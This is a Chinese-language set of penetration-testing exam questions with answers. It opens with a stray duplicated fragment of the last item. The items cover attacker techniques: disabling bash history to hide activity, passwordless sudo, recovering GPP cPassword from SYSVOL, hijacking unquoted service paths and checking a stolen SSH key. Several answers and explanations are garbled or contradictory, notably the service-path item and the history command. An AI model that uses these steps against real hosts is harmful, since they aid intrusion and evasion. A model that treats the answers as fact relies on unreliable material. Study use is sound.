C. diff id_rsa.pub id_rsa
D. openssl rsa -in id_rsa | cat id_rsa.pub
问题和答案
1、开发后的一个重要步骤是获得态势感知,以收集主机和内部网络的重要知识。MITRE ATT&CK框架中的以下哪项技术被确定为“发现”战术?(选择所有适用项。)
A. 枚举本地或共享文件系统上的文件和目录。
B. 搜索本地或域级别的组和权限设置。
C. 利用此漏洞后,Timestomp文件和目录。
D. 使用操作系统固有的协议(如SSH或FTP)传输文件。
A.B.枚举本地或共享文件系统上的文件和目录(文件和目录发现:T1083)和搜索本地或域级别的组和权限设置(权限组发现:T1069)是与获取态势感知相关的两种技术。Timestomping文件和目录是一种防御规避技术(Timestomp:T1099),使用本机操作系统协议传输文件是一种数据过滤技术(通过替代协议进行过滤:T1048)。
2、在渗透式测试期间,您成功地破坏了用户对客户网络中Linux主机的用户级访问权限。用户的默认shell是BASH。您可以使用哪种命令语法暂停终端会话的命令录制?(选择所有适用项。)
A. unset HIST
B. unset HISTFILE
C. set o history
D. export HIST=0
B.C.
unset HISTFILE技术将允许临时历史记录,但会阻止命令历史记录写入$HOME/.bash_history。set o历史记录将阻止临时命令历史记录,并随后阻止任何命令历史记录写入磁盘。答案A和D不正确,因为它们是格式不正确的命令。
3、您发现您刚刚泄露的用户账户“user1”可能被允许使用sudo在系统上执行特权命令。在终端窗口中暂停命令录制后,将执行sudo-l命令,并且不会提示输入密码。令您惊讶的是,该帐户可以在操作系统上执行所有命令,但仍然不会提示您输入密码。/etc/sudoers文件中的哪个设置允许用户在没有密码的情况下执行命令?
A. %sudo ALL=(ALL:ALL) ALL
B. %sudo ALL=(ALL:ALL) NOPASSWD:ALL
C. user1 ALL=(ALL:ALL) ALL
D. user ALL=(ALL:ALL) NOPASSWD:ALL
B. 账户“user1”可能位于名为“sudo”的sudoers组中NOPASSWD:ALL option将允许执行操作系统上的任何命令,而无需提示输入密码。使用groups或id-a命令语法,您将能够看到用户是哪些组的一部分。在/etc/sudoers文件中,可以使用本地操作系统上的特定sudo权限配置组或用户。答案D有NOPASSWD:ALL选项,但是为名为“user”的帐户指定的,该账户不是我们当前可以访问的账户。
4、Windows 2008 Server中引入了组策略首选项(GPP),允许域管理员创建域策略以自动化繁琐的任务,例如更改主机操作系统上的本地管理员帐户密码。创建每个策略中嵌入了加密密码(cPassword),每个策略都存储在SYSVOL中,作为域成员的任何用户都可以访问SYSVOL。在渗透式测试期间,您使用域上的用户级权限成功装载SYSVOL卷。域服务器是Windows 2012服务器。哪个文件将包含cPassword条目?
A. group.xml
B. users.xml
C. groups.xml
D. policy.xml
C. groups.xml文件将包含加密的cPassword条目。微软在线披露了AES 256位密钥,该密钥允许对cPassword条目进行解密,从而披露了敏感密码。users.xml,policy.xml和group.xml很可能是通过客户域内的组策略应用的自定义设置。
5、使用GNU调试器(gdb)时,当到达汇编指令时,可以使用哪个命令暂停函数中的程序执行?
A. break
B. nexti
C. info registers
D. x $rsp
A. 当在< 43>处到达汇编指令时,可以使用break*func 43命令使程序停止执行(暂停程序)。这使我们能够在执行时检查程序状态。nexti命令将允许您进入下一个操作,info registers命令将打印通用进程寄存器的内容。x
6、_______________是唯一的,用于标识Windows服务的每个实例。在Windows中,Kerberos要求___________与至少一个服务登录账户(即运行该服务的账户)相关联。
A. Hostname(主机名)
B. Domain name(域名)
C. Unique identifier(唯一标识符)
D. Service principal name(服务主体名称)
D. 服务主体名称(SPN)是唯一的,用于标识Windows服务的每个实例。在Windows中,Kerberos要求SPN至少与一个服务登录账户相关联。主机名是主机名,域名是用于标识Internet上某个领域的唯一名称。用户ID或UID是在类Unix系统上分配给每个用户的唯一整数。这些选项都与Windows服务没有任何关系。
7、在渗透式测试期间,您可以使用wmic命令来标识未引用的服务路径。您可以在C:Program Files(x86)datashared Filesvulnerable.exe和使用的accesschk.exe以发现您在“data”目录中具有写入权限。要在下次执行服务时升级权限,您需要设置一个将在服务路径中执行的可执行文件。您应该创建的可执行文件的正确名称是什么?
A. shared.exe
B. files.exe
C. Files.exe
D. Program.exe
A. 当服务启动时,它将遵循C:Program Files (x86)datashared filesvulnerable.exe来运行可执行文件。由于路径不在注册表中的引号中,它将首先查看加载C:Program Files (x86)datashared filesvulnerable.exe文件。因为“共享文件”目录之间有一个空格文件将不工作,因为目录名后没有中断。Program.exe选项将起作用;但是,用户没有对文件夹的写入权限。
8、在渗透式测试期间,您在用户的主目录中遇到一个SSH私钥(id_rsa),并怀疑该密钥可用于远程登录到其他Linux主机。但是,在尝试使用密钥之前,需要将密钥与authorize_keys文件的内容进行比较,以便确保它与文件中存储的一个公钥匹配。您将运行哪个命令从私钥生成公钥?
A. ssh-keygen -y -f id_rsa
B. ssh-keygen -t rsa -b 2048
C. diff id_rsa.pub id_rsa
D. openssl rsa -in id_rsa | cat id_rsa.pub
A. ssh-keygen命令用于生成密钥。要比较私钥和公钥值,可以使用以下语法从私钥生成公钥:keygen -y -f.。然后,您可以读取authorized_keys 文件的内容,并比较/对比差异(如果有)。答案B将生成2048位的RSA私钥和公钥对。答案C将读取并区分公钥和私钥的内容;但是,它们不是相同的键值,因此不起作用。答案D不正确,因为openssl将验证RSA密钥的内容,并将命令输出与cat idu RSA的输出一起通过管道传输。将命令发布到屏幕,这将无法帮助您从泄露的RSA私钥中找到公钥值。